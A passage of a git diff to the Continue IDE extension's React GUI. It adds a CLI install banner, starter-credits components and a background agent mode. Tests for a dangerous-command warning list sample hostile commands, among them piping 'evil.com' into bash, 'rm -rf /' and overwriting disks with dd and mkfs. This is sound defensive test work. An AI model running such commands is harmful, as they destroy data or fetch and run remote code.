expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("does not show banner when session count is below threshold", async () => { + await renderWithSessionCount(2, 3); + + await waitFor(() => { + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + }); + + it("shows banner when session count meets threshold", async () => { + await renderWithSessionCount(3, 3); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + + it("shows banner when session count exceeds threshold", async () => { + await renderWithSessionCount(5, 3); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + }); + }); + + describe("Permanent dismissal with localStorage", () => { + const renderWithPermanentDismissal = async () => { + vi.spyOn(mockIdeMessenger.ide, "subprocess").mockResolvedValue([ + "", + "not found", + ]); + + return act(async () => + render( + + + , + ), + ); + }; + + it("does not show banner when previously dismissed permanently", async () => { + vi.mocked(localStorage.getLocalStorage).mockReturnValue(true); + + await renderWithPermanentDismissal(); + + await waitFor(() => { + expect( + screen.queryByText("Try out the Continue CLI"), + ).not.toBeInTheDocument(); + }); + }); + + it("sets localStorage when dismissed with permanentDismissal=true", async () => { + await renderWithPermanentDismissal(); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + + const buttons = screen.getAllByRole("button"); + const closeButton = buttons[0]; + fireEvent.click(closeButton); + + expect(localStorage.setLocalStorage).toHaveBeenCalledWith( + "hasDismissedCliInstallBanner", + true, + ); + }); + + it("does not set localStorage when dismissed with permanentDismissal=false", async () => { + vi.spyOn(mockIdeMessenger.ide, "subprocess").mockResolvedValue([ + "", + "not found", + ]); + + await act(async () => + render( + + + , + ), + ); + + await waitFor(() => { + expect( + screen.getByText("Try out the Continue CLI"), + ).toBeInTheDocument(); + }); + + const buttons = screen.getAllByRole("button"); + const closeButton = buttons[0]; + fireEvent.click(closeButton); + + expect(localStorage.setLocalStorage).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/gui/src/components/CliInstallBanner.tsx b/gui/src/components/CliInstallBanner.tsx new file mode 100644 index 000000000..36662309a --- /dev/null +++ b/gui/src/components/CliInstallBanner.tsx @@ -0,0 +1,167 @@ +import { CommandLineIcon, XMarkIcon } from "@heroicons/react/24/outline"; +import { useContext, useEffect, useRef, useState } from "react"; +import { CloseButton } from "."; +import { IdeMessengerContext } from "../context/IdeMessenger"; +import useCopy from "../hooks/useCopy"; +import { getPlatform } from "../util"; +import { getLocalStorage, setLocalStorage } from "../util/localStorage"; +import { CopyButton } from "./StyledMarkdownPreview/StepContainerPreToolbar/CopyButton"; +import { RunInTerminalButton } from "./StyledMarkdownPreview/StepContainerPreToolbar/RunInTerminalButton"; +import { Card } from "./ui"; + +interface CliInstallBannerProps { + /** Number of sessions user has had - banner shows only if >= sessionThreshold */ + sessionCount?: number; + /** Minimum sessions before showing banner (default: always show) */ + sessionThreshold?: number; + /** If true, dismissal is permanent via localStorage (default: session only) */ + permanentDismissal?: boolean; +} + +export function CliInstallBanner({ + sessionCount, + sessionThreshold, + permanentDismissal = false, +}: CliInstallBannerProps = {}) { + const ideMessenger = useContext(IdeMessengerContext); + const [cliInstalled, setCliInstalled] = useState(null); + const [dismissed, setDismissed] = useState(false); + const commandTextRef = useRef(null); + const { copyText } = useCopy("npm i -g @continuedev/cli"); + const [showCopiedMessage, setShowCopiedMessage] = useState(false); + + const handleCommandClick = () => { + // Select the text + if (commandTextRef.current) { + const selection = window.getSelection(); + const range = document.createRange(); + range.selectNodeContents(commandTextRef.current); + selection?.removeAllRanges(); + selection?.addRange(range); + } + // Copy to clipboard + copyText(); + + // Show "Copied!" message for 3 seconds + setShowCopiedMessage(true); + setTimeout(() => setShowCopiedMessage(false), 3000); + }; + + useEffect(() => { + // Check if user has permanently dismissed the banner + if (permanentDismissal) { + const hasDismissed = getLocalStorage("hasDismissedCliInstallBanner"); + if (hasDismissed) { + setDismissed(true); + return; + } + } + + const checkCliInstallation = async () => { + try { + const platform = getPlatform(); + // Use 'which' on mac/linux, 'where' on windows + const command = platform === "windows" ? "where cn" : "which cn"; + + const [stdout, stderr] = await ideMessenger.ide.subprocess(command); + + // If stdout has content (path to cn), it's installed + // If empty or stderr has "not found", it's not installed + const isInstalled = + stdout.trim().length > 0 && !stderr.includes("not found"); + setCliInstalled(isInstalled); + } catch (error) { + // If subprocess throws an error, assume CLI is not installed + setCliInstalled(false); + } + }; + + void checkCliInstallation(); + }, [ideMessenger, permanentDismissal]); + + const handleDismiss = () => { + setDismissed(true); + if (permanentDismissal) { + setLocalStorage("hasDismissedCliInstallBanner", true); + } + }; + + // Don't show if: + // - Still loading CLI status + // - CLI is already installed + // - User has dismissed it + // - Session threshold not met (if threshold is set) + if ( + cliInstalled === null || + cliInstalled === true || + dismissed || + (sessionThreshold !== undefined && + (sessionCount === undefined || sessionCount < sessionThreshold)) + ) { + return null; + } + + return ( +
+ + + + +
+
+
+ + Try out the Continue CLI +
+
+ Use{" "} + + cn + {" "} + in your terminal interactively and then deploy Continuous AI + workflows.{" "} + + ideMessenger.post( + "openUrl", + "https://docs.continue.dev/guides/cli", + ) + } + className="cursor-pointer underline hover:brightness-125" + > + Learn more. + +
+
+
+
+
+ + npm i -g @continuedev/cli + + {showCopiedMessage && ( + + Copied! + + )} +
+
+ + +
+
+
+
+
+
+ ); +} diff --git a/gui/src/components/DropdownButton.tsx b/gui/src/components/DropdownButton.tsx new file mode 100644 index 000000000..5d2a0eaae --- /dev/null +++ b/gui/src/components/DropdownButton.tsx @@ -0,0 +1,69 @@ +import { ChevronDownIcon, PlusIcon } from "@heroicons/react/24/outline"; +import { ToolTip } from "./gui/Tooltip"; +import { Listbox, ListboxButton, ListboxOption, ListboxOptions } from "./ui"; + +interface DropdownOption { + value: string; + label: string; +} + +interface DropdownButtonProps { + title: string; + options: DropdownOption[]; + onOptionClick: (value: string) => void; + addButtonTooltip?: string; + className?: string; + variant?: "default" | "sm"; +} + +export function DropdownButton({ + title, + options, + onOptionClick, + addButtonTooltip, + className = "", + variant = "default", +}: DropdownButtonProps) { + const isSmall = variant === "sm"; + const titleSize = isSmall ? "text-sm font-semibold" : "text-xl font-semibold"; + const marginBottom = isSmall ? "mb-2" : "mb-4"; + + return ( +
+

{title}

+ {}}> +
+ + + + + + + + {options.map((option) => ( + + `relative flex cursor-default select-none items-center gap-3 py-2 pl-4 pr-4 ${ + active + ? "bg-list-active text-list-active-foreground" + : "text-foreground" + }` + } + onClick={() => onOptionClick(option.value)} + > + {option.label} + + ))} + +
+
+
+ ); +} diff --git a/gui/src/components/ExploreHubCard/index.tsx b/gui/src/components/ExploreHubCard/index.tsx deleted file mode 100644 index 07a9e2919..000000000 --- a/gui/src/components/ExploreHubCard/index.tsx +++ /dev/null @@ -1,63 +0,0 @@ -import { ChevronRightIcon } from "@heroicons/react/24/outline"; -import { useContext } from "react"; -import { Button, ButtonSubtext } from ".."; -import { IdeMessengerContext } from "../../context/IdeMessenger"; -import { useAppDispatch, useAppSelector } from "../../redux/hooks"; -import { setIsExploreDialogOpen } from "../../redux/slices/uiSlice"; -import { LocalStorageKey, setLocalStorage } from "../../util/localStorage"; -import { ReusableCard } from "../ReusableCard"; - -export function ExploreHubCard() { - const dispatch = useAppDispatch(); - const isOpen = useAppSelector((state) => state.ui.isExploreDialogOpen); - const ideMessenger = useContext(IdeMessengerContext); - - if (!isOpen) return null; - - return ( - { - setLocalStorage(LocalStorageKey.IsExploreDialogOpen, false); - setLocalStorage(LocalStorageKey.HasDismissedExploreDialog, true); - return dispatch(setIsExploreDialogOpen(false)); - }} - > -
-
-

Create Your Own Agent

- -

- Discover and remix popular agents, or create your own from scratch -

-
- - - - { - ideMessenger.request("controlPlane/openUrl", { - path: "/new?type=assistant", - orgSlug: undefined, - }); - }} - > -
- Or, create your own agent from scratch - -
-
-
-
- ); -} diff --git a/gui/src/components/FreeTrialButton.tsx b/gui/src/components/FreeTrialButton.tsx deleted file mode 100644 index c3373cf7b..000000000 --- a/gui/src/components/FreeTrialButton.tsx +++ /dev/null @@ -1,168 +0,0 @@ -import { ChevronDownIcon } from "@heroicons/react/24/outline"; -import { FreeTrialStatus } from "core/control-plane/client"; -import { useContext } from "react"; -import { Button, SecondaryButton, vscButtonBackground } from "."; -import { IdeMessengerContext } from "../context/IdeMessenger"; -import { fontSize } from "../util"; -import { setLocalStorage } from "../util/localStorage"; -import { Listbox, ListboxButton, ListboxOptions, Transition } from "./ui"; - -interface ProgressBarProps { - label: string; - current: number; - total: number; -} - -function ProgressBar({ label, current, total }: ProgressBarProps) { - const percentage = Math.min((current / total) * 100, 100); - - return ( -
-
- {label} - - {current}/{total} - -
-
-
-
-
- ); -} - -interface FreeTrialProgressBarsProps { - freeTrialStatus: FreeTrialStatus; -} - -function FreeTrialProgressBars({ - freeTrialStatus, -}: FreeTrialProgressBarsProps) { - // Use data from freeTrialStatus - const autocompleteUsage = { - current: freeTrialStatus.autocompleteCount, - total: freeTrialStatus.autocompleteLimit, - }; - const chatUsage = { - current: freeTrialStatus.chatCount, - total: freeTrialStatus.chatLimit, - }; - - return ( - <> - - - - - ); -} - -interface FreeTrialButtonProps { - freeTrialStatus?: FreeTrialStatus | null; -} - -export default function FreeTrialButton({ - freeTrialStatus, -}: FreeTrialButtonProps) { - const ideMessenger = useContext(IdeMessengerContext); - - const onExitFreeTrial = async () => { - setLocalStorage("hasExitedFreeTrial", true); - - await ideMessenger.request("controlPlane/openUrl", { - path: "setup-models", - orgSlug: undefined, - }); - }; - - return ( - -
- -
- Free trial usage -
-
- - - -
-

- Free trial of the Models Add-On -

- -
- - You are currently using a free trial the Models Add-On, which - allows you to use a variety of frontier models for a flat - monthly fee. Read more about usage limits and what models are - included{" "} - { - await ideMessenger.request("controlPlane/openUrl", { - path: "pricing", - orgSlug: undefined, - }); - }} - className="cursor-pointer text-blue-400 underline hover:text-blue-300" - > - here - - . - -
- - {!freeTrialStatus ? ( -
- - Loading trial usage... - -
- ) : ( - - )} - -
- - Exit trial - - -
-
-
-
-
-
- ); -} diff --git a/gui/src/components/History/HistoryTableRow.tsx b/gui/src/components/History/HistoryTableRow.tsx index 557eadbcf..4c6fa2417 100644 --- a/gui/src/components/History/HistoryTableRow.tsx +++ b/gui/src/components/History/HistoryTableRow.tsx @@ -1,7 +1,8 @@ import { - CloudIcon, + ArrowDownOnSquareIcon, PencilSquareIcon, TrashIcon, + CloudIcon, } from "@heroicons/react/24/outline"; import { BaseSessionMetadata } from "core"; import type { RemoteSessionMetadata } from "core/control-plane/client"; @@ -19,8 +20,11 @@ import { loadSession, updateSession, } from "../../redux/thunks/session"; +import { isShareSessionSupported } from "../../util"; import HeaderButtonWithToolTip from "../gui/HeaderButtonWithToolTip"; +const shareSessionSupported = isShareSessionSupported(); + export function HistoryTableRow({ sessionMetadata, index, @@ -43,6 +47,14 @@ export function HistoryTableRow({ setSessionTitleEditValue(sessionMetadata.title); }, [sessionMetadata]); + const shareSession = async (sessionId: string) => { + // "session/share" is not supported in JetBrains yet + if (shareSessionSupported) { + await ideMessenger.request("session/share", { + sessionId, + }); + } + }; const isRemote = "isRemote" in sessionMetadata && sessionMetadata.isRemote; const handleKeyUp = async (e: React.KeyboardEvent) => { @@ -178,6 +190,17 @@ export function HistoryTableRow({ > + {shareSessionSupported && ( + { + e.stopPropagation(); + await shareSession(sessionMetadata.sessionId); + }} + > + + + )} { diff --git a/gui/src/components/Layout.tsx b/gui/src/components/Layout.tsx index 8045b72c8..af5f3b785 100644 --- a/gui/src/components/Layout.tsx +++ b/gui/src/components/Layout.tsx @@ -14,7 +14,6 @@ import { setDialogMessage, setShowDialog } from "../redux/slices/uiSlice"; import { enterEdit, exitEdit } from "../redux/thunks/edit"; import { saveCurrentSession } from "../redux/thunks/session"; import { fontSize, isMetaEquivalentKeyPressed } from "../util"; -import { incrementFreeTrialCount } from "../util/freeTrial"; import { ROUTES } from "../util/navigation"; import { FatalErrorIndicator } from "./config/FatalErrorNotice"; import TextDialog from "./dialogs"; @@ -139,14 +138,6 @@ const Layout = () => { [location, navigate], ); - useWebviewListener( - "incrementFtc", - async () => { - incrementFreeTrialCount(); - }, - [], - ); - useWebviewListener( "setupLocalConfig", async () => { diff --git a/gui/src/components/ModeSelect/ModeIcon.tsx b/gui/src/components/ModeSelect/ModeIcon.tsx index 92dfc1723..074185886 100644 --- a/gui/src/components/ModeSelect/ModeIcon.tsx +++ b/gui/src/components/ModeSelect/ModeIcon.tsx @@ -1,5 +1,6 @@ import { ChatBubbleLeftIcon, + RocketLaunchIcon, SparklesIcon, SwatchIcon, } from "@heroicons/react/24/outline"; @@ -21,5 +22,7 @@ export function ModeIcon({ return ; case "chat": return ; + case "background": + return ; } } diff --git a/gui/src/components/ModeSelect/ModeSelect.tsx b/gui/src/components/ModeSelect/ModeSelect.tsx index 88a549012..8b69bca20 100644 --- a/gui/src/components/ModeSelect/ModeSelect.tsx +++ b/gui/src/components/ModeSelect/ModeSelect.tsx @@ -6,8 +6,8 @@ import { } from "@heroicons/react/24/outline"; import { MessageModes } from "core"; import { isRecommendedAgentModel } from "core/llm/toolSupport"; -import { capitalize } from "lodash"; import { useCallback, useEffect, useMemo } from "react"; +import { useAuth } from "../../context/Auth"; import { useAppDispatch, useAppSelector } from "../../redux/hooks"; import { selectSelectedChatModel } from "../../redux/slices/configSlice"; import { setMode } from "../../redux/slices/sessionSlice"; @@ -21,6 +21,7 @@ export function ModeSelect() { const dispatch = useAppDispatch(); const mode = useAppSelector((store) => store.session.mode); const selectedModel = useAppSelector(selectSelectedChatModel); + const { selectedProfile } = useAuth(); const isGoodAtAgentMode = useMemo(() => { if (!selectedModel) { @@ -29,6 +30,10 @@ export function ModeSelect() { return isRecommendedAgentModel(selectedModel.model); }, [selectedModel]); + const isLocalAgent = useMemo(() => { + return selectedProfile?.profileType === "local"; + }, [selectedProfile]); + const { mainEditor } = useMainEditor(); const metaKeyLabel = useMemo(() => { return getMetaKeyLabel(); @@ -39,6 +44,9 @@ export function ModeSelect() { dispatch(setMode("plan")); } else if (mode === "plan") { dispatch(setMode("agent")); + } else if (mode === "agent") { + // Skip background mode if local agent is selected + dispatch(setMode(isLocalAgent ? "chat" : "background")); } else { dispatch(setMode("chat")); } @@ -46,7 +54,7 @@ export function ModeSelect() { if (!document.activeElement?.classList?.contains("ProseMirror")) { mainEditor?.commands.focus(); } - }, [mode, mainEditor]); + }, [mode, mainEditor, isLocalAgent]); const selectMode = useCallback( (newMode: MessageModes) => { @@ -73,14 +81,21 @@ export function ModeSelect() { return () => document.removeEventListener("keydown", handleKeyDown); }, [cycleMode]); - const notGreatAtAgent = ( + // Auto-switch from background mode when local agent is selected + useEffect(() => { + if (mode === "background" && isLocalAgent) { + dispatch(setMode("agent")); + } + }, [mode, isLocalAgent, dispatch]); + + const notGreatAtAgent = (mode: string) => ( <> @@ -96,7 +111,13 @@ export function ModeSelect() { > - {mode === "chat" ? "Chat" : mode === "agent" ? "Agent" : "Plan"} + {mode === "chat" + ? "Chat" + : mode === "agent" + ? "Agent" + : mode === "background" + ? "Background" + : "Plan"}
- {!isGoodAtAgentMode && notGreatAtAgent} + {!isGoodAtAgentMode && notGreatAtAgent("Plan")} @@ -159,12 +180,37 @@ export function ModeSelect() { - {!isGoodAtAgentMode && notGreatAtAgent} + {!isGoodAtAgentMode && notGreatAtAgent("Agent")} + +
+ + Background + + + +
+ {isLocalAgent && ( + + )} + +
+
{`${metaKeyLabel} . for next mode`}
diff --git a/gui/src/components/OnboardingCard/components/OnboardingCardLanding.tsx b/gui/src/components/OnboardingCard/components/OnboardingCardLanding.tsx index 3fca53a7c..846aa70fd 100644 --- a/gui/src/components/OnboardingCard/components/OnboardingCardLanding.tsx +++ b/gui/src/components/OnboardingCard/components/OnboardingCardLanding.tsx @@ -2,11 +2,10 @@ import { useContext } from "react"; import { Button, SecondaryButton } from "../.."; import { useAuth } from "../../../context/Auth"; import { IdeMessengerContext } from "../../../context/IdeMessenger"; +import { useCreditStatus } from "../../../hooks/useCredits"; import { useAppDispatch, useAppSelector } from "../../../redux/hooks"; import { selectCurrentOrg } from "../../../redux/slices/profilesSlice"; import { selectFirstHubProfile } from "../../../redux/thunks/selectFirstHubProfile"; -import { hasPassedFTL } from "../../../util/freeTrial"; -import { ToolTip } from "../../gui/Tooltip"; import ContinueLogo from "../../svg/ContinueLogo"; import { useOnboardingCard } from "../hooks/useOnboardingCard"; @@ -38,15 +37,23 @@ export function OnboardingCardLanding({ }); } - function openPastFreeTrialOnboarding() { + function openBillingPage() { ideMessenger.post("controlPlane/openUrl", { - path: "setup-models", + path: "settings/billing", orgSlug: currentOrg?.slug, }); onboardingCard.close(isDialog); } - const pastFreeTrialLimit = hasPassedFTL(); + function openApiKeysPage() { + ideMessenger.post("controlPlane/openUrl", { + path: "setup-models/api-keys", + orgSlug: currentOrg?.slug, + }); + onboardingCard.close(isDialog); + } + + const { creditStatus, outOfStarterCredits } = useCreditStatus(); return (
@@ -54,39 +61,29 @@ export function OnboardingCardLanding({
- {pastFreeTrialLimit ? ( + {outOfStarterCredits ? ( <>

- You've reached the free trial limit. Visit the Continue Platform to - select a Coding Agent. + You've used all your starter credits! Click below to purchase + credits or configure API keys

- ) : ( <>

- Log in to access a free trial of the -
- - - ideMessenger.post("controlPlane/openUrl", { - path: "pricing", - }) - } - > - Models Add-On - - + Log in to get up and running with starter credits

); } diff --git a/gui/src/components/OnboardingCard/components/OnboardingModelsAddOnTab.tsx b/gui/src/components/OnboardingCard/components/OnboardingModelsAddOnTab.tsx index 7110cd6b0..bc667ca80 100644 --- a/gui/src/components/OnboardingCard/components/OnboardingModelsAddOnTab.tsx +++ b/gui/src/components/OnboardingCard/components/OnboardingModelsAddOnTab.tsx @@ -30,30 +30,13 @@ export function OnboardingModelsAddOnTab() { return () => clearInterval(interval); }, [isPolling, isJetbrains, ideMessenger]); - function openPricingPage() { - ideMessenger.post("controlPlane/openUrl", { - path: "pricing", - }); - } - - async function handleUpgrade() { + async function openBillingSettings() { try { - const response = await ideMessenger.request( - "controlPlane/getModelsAddOnUpgradeUrl", - { - vsCodeUriScheme: getLocalStorage("vsCodeUriScheme"), - }, - ); - - if (response.status === "success" && response.content?.url) { - await ideMessenger.request("openUrl", response.content.url); - } else { - console.error("Failed to get upgrade URL"); - openPricingPage(); - } + await ideMessenger.request("controlPlane/openUrl", { + path: "settings/billing", + }); } catch (error) { console.error("Error during upgrade process:", error); - openPricingPage(); } finally { if (isJetbrains) { setIsPolling(true); @@ -63,6 +46,12 @@ export function OnboardingModelsAddOnTab() { } } + function openPricingPage() { + void ideMessenger.request("controlPlane/openUrl", { + path: "pricing", + }); + } + // Show polling UI for JetBrains after upgrade if (isPolling && isJetbrains) { return ( @@ -84,10 +73,6 @@ export function OnboardingModelsAddOnTab() { -
- $20/month -
- Use a{" "} variety of frontier models {" "} - for a flat monthly fee + at cost. -
-

- Base Tier: 500 Chat/Edit and 25,000 - Autocomplete requests per month -

-

- Plus Tier (2.5x): 1,250 Chat/Edit - and 62,500 Autocomplete requests per month -

-

- Pro Tier (5x): 2,500 Chat/Edit and - 125,000 Autocomplete requests per month -

-
-
-
diff --git a/gui/src/components/StarterCreditsButton.tsx b/gui/src/components/StarterCreditsButton.tsx new file mode 100644 index 000000000..51f58d16e --- /dev/null +++ b/gui/src/components/StarterCreditsButton.tsx @@ -0,0 +1,38 @@ +import { GiftIcon } from "@heroicons/react/24/outline"; +import { CreditStatus } from "core/control-plane/client"; +import StarterCreditsPopover from "./StarterCreditsPopover"; + +interface FreeTrialButtonProps { + creditStatus?: CreditStatus | null; + refreshCreditStatus?: () => Promise; +} + +/** + * @deprecated Use StarterCreditsPopover with a custom button/icon instead. + * This component is kept for backward compatibility. + */ +export default function StarterCreditsButton({ + creditStatus, + refreshCreditStatus, +}: FreeTrialButtonProps) { + return ( + + + + + + ); +} diff --git a/gui/src/components/StarterCreditsPopover.tsx b/gui/src/components/StarterCreditsPopover.tsx new file mode 100644 index 000000000..c80777199 --- /dev/null +++ b/gui/src/components/StarterCreditsPopover.tsx @@ -0,0 +1,196 @@ +import { + ArrowPathIcon, + GiftIcon, + XMarkIcon, +} from "@heroicons/react/24/outline"; +import { CreditStatus } from "core/control-plane/client"; +import { useContext, useState } from "react"; +import { Button, SecondaryButton, vscButtonBackground } from "."; +import { useAuth } from "../context/Auth"; +import { IdeMessengerContext } from "../context/IdeMessenger"; +import { cn } from "../util/cn"; +import { setLocalStorage } from "../util/localStorage"; +import { ToolbarButtonWithTooltip } from "./StyledMarkdownPreview/StepContainerPreToolbar/ToolbarButtonWithTooltip"; +import { Listbox, ListboxButton, ListboxOptions, Transition } from "./ui"; + +interface ProgressBarProps { + label: string; + current: number; + total: number; +} + +function ProgressBar({ label, current, total }: ProgressBarProps) { + const percentage = Math.min((current / total) * 100, 100); + + return ( +
+
+ {label} + + ${(current / 100).toFixed(2)} / ${(total / 100).toFixed(2)} + +
+
+
+
+
+ ); +} + +interface CreditStatusProgressBarsProps { + creditStatus: CreditStatus; +} + +function CreditStatusProgressBar({ + creditStatus, +}: CreditStatusProgressBarsProps) { + const total = 50; + const usage = total - (creditStatus.creditBalance ?? 0); + + return ( + + ); +} + +interface StarterCreditsPopoverProps { + creditStatus?: CreditStatus | null; + refreshCreditStatus?: () => Promise; + children: React.ReactNode; +} + +export default function StarterCreditsPopover({ + creditStatus, + refreshCreditStatus, + children, +}: StarterCreditsPopoverProps) { + const ideMessenger = useContext(IdeMessengerContext); + const { refreshProfiles } = useAuth(); + const [isRefreshing, setIsRefreshing] = useState(false); + + const onSetupApiKeys = async () => { + await ideMessenger.request("controlPlane/openUrl", { + path: "setup-models/api-keys", + orgSlug: undefined, + }); + }; + + const onPurchaseCredits = async () => { + await ideMessenger.request("controlPlane/openUrl", { + path: "settings/billing", + orgSlug: undefined, + }); + }; + + const onHideStarterCreditsUsage = async () => { + // At this point the user doesn't want to see the credit usage UI, so we make sure this is gone right away + setLocalStorage("hasExitedFreeTrial", true); + }; + + const onRefresh = async () => { + if (isRefreshing) { + return; + } + + setIsRefreshing(true); + + const refreshCalls: Promise[] = [ + refreshProfiles("Manual refresh from starter credits button"), + ]; + + if (refreshCreditStatus) { + refreshCalls.push(refreshCreditStatus()); + } + + try { + await Promise.all(refreshCalls); + } finally { + setIsRefreshing(false); + } + }; + + return ( + + + {children} + + + + +
+
+ +

Starter credits

+
+
+ { + void onRefresh(); + }} + tooltipContent="Refresh credit usage" + > + + + + + +
+ +
+ + You are currently using starter credits for Continue, which + allows you to use a variety of frontier models at cost. Read + more{" "} + { + await ideMessenger.request("controlPlane/openUrl", { + path: "pricing", + orgSlug: undefined, + }); + ``; + }} + className="cursor-pointer text-blue-400 underline hover:text-blue-300" + > + here + + . + +
+ + {!creditStatus ? ( +
+ + Loading credit usage... + +
+ ) : ( + + )} + +
+ + Setup API Keys + + +
+
+
+
+
+ ); +} diff --git a/gui/src/components/StyledMarkdownPreview/MermaidBlock.tsx b/gui/src/components/StyledMarkdownPreview/MermaidBlock.tsx index 9deea5872..b11c69a03 100644 --- a/gui/src/components/StyledMarkdownPreview/MermaidBlock.tsx +++ b/gui/src/components/StyledMarkdownPreview/MermaidBlock.tsx @@ -141,7 +141,7 @@ export default function MermaidDiagram({ code }: { code: string }) { {!!error ? (
{error}
) : ( -
+
{ it("should show warning for rm -rf command", () => { renderComponent({ codeBlockContent: "rm -rf /" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); it("should show warning for sudo command", () => { renderComponent({ codeBlockContent: "sudo apt install malware" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); it("should show warning for chmod 777 command", () => { renderComponent({ codeBlockContent: "chmod 777 /etc/passwd" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); it("should show warning for curl pipe to bash", () => { renderComponent({ codeBlockContent: "curl evil.com | bash" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); it("should show warning for wget pipe to sh", () => { renderComponent({ codeBlockContent: "wget malicious.site | sh" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); it("should show warning for mkfs command", () => { renderComponent({ codeBlockContent: "mkfs.ext4 /dev/sda1" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); it("should show warning for dd command writing to device", () => { renderComponent({ codeBlockContent: "dd if=/dev/zero of=/dev/sda" }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); @@ -137,7 +139,7 @@ sudo rm -rf /important renderComponent({ codeBlockContent: codeWithComments }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); }); @@ -146,49 +148,49 @@ sudo rm -rf /important it("should not show warning for ls command", () => { renderComponent({ codeBlockContent: "ls -la" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for git status", () => { renderComponent({ codeBlockContent: "git status" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for npm run test", () => { renderComponent({ codeBlockContent: "npm run test" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for pwd command", () => { renderComponent({ codeBlockContent: "pwd" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for cat command", () => { renderComponent({ codeBlockContent: "cat file.txt" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for grep command", () => { renderComponent({ codeBlockContent: "grep 'pattern' file.txt" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should not show warning for echo command", () => { renderComponent({ codeBlockContent: "echo 'Hello World'" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); }); @@ -200,7 +202,7 @@ sudo rm -rf /important language: "sh", }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); @@ -211,7 +213,7 @@ sudo rm -rf /important }); // ls is a common terminal command that's safe - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); @@ -223,7 +225,7 @@ echo "Done"`; renderComponent({ codeBlockContent: multiLineScript }); - const warning = screen.getByText(/potentially dangerous commands/i); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); @@ -233,14 +235,14 @@ echo "Done"`; language: "javascript", }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); it("should handle empty code blocks", () => { renderComponent({ codeBlockContent: "" }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); @@ -251,7 +253,7 @@ echo "Done"`; renderComponent({ codeBlockContent: onlyComments }); - const warning = screen.queryByText(/potentially dangerous commands/i); + const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).not.toBeInTheDocument(); }); }); @@ -261,7 +263,7 @@ echo "Done"`; renderComponent({ codeBlockContent: "sudo rm -rf /" }); const warningContainer = screen.getByText( - /potentially dangerous commands/i, + DANGEROUS_COMMAND_WARNING_MESSAGE, ).parentElement; expect(warningContainer).toHaveClass( "bg-warning/10", @@ -275,7 +277,7 @@ echo "Done"`; // Check for the icon by looking for its container with the warning const warningContainer = screen.getByText( - /potentially dangerous commands/i, + DANGEROUS_COMMAND_WARNING_MESSAGE, ).parentElement; const icon = warningContainer?.querySelector("svg"); expect(icon).toBeInTheDocument(); @@ -285,9 +287,7 @@ echo "Done"`; it("should display full warning message", () => { renderComponent({ codeBlockContent: "sudo rm -rf /" }); - const expectedMessage = - "This code contains potentially dangerous commands. Please review and understand the code before running."; - const warning = screen.getByText(expectedMessage); + const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); expect(warning).toBeInTheDocument(); }); }); diff --git 